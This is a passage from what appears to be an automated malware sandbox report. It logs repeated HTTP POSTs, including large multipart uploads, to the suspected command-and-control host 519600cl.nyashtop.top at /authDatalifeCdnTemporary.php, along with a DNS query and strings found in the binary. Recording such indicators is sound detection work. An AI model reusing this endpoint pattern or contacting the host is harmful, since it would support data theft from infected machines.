                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----gkDligZAQq8dW8tCD3HVeTmb3d2HMicFykUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 156470Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----pOyFIlFObCJ70au5Ye79xzaVgOK8jbLtRhUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 328546Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2576Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----E1sgvP1u1UWQvSTEwsHkxHIzDjO2165HntUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 165842Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1980Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1980Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----lr6YuXfPDxaSERZDxJvXb4dqDnL3RtDkdJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 310006Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 540Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----og0ixSEnZyRMoQjmWcPWW1Msl9xK3bYEUdUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 165418Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2576Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1980Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 532Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1980Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: multipart/form-data; boundary=----WvSY6bsDXvVhKPYfyFAEsPG1V8KENb75ukUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 310006Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 1972Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 2580Expect: 100-continueConnection: Keep-Alive
                              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                              Source: global trafficDNS traffic detected: DNS query: 519600cl.nyashtop.top
                              Source: unknownHTTP traffic detected: POST /authDatalifeCdnTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 519600cl.nyashtop.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
                              Source: integrator.exe.0.drString found in binary or memory: http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848818000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848818000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848818000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848818000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848818000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
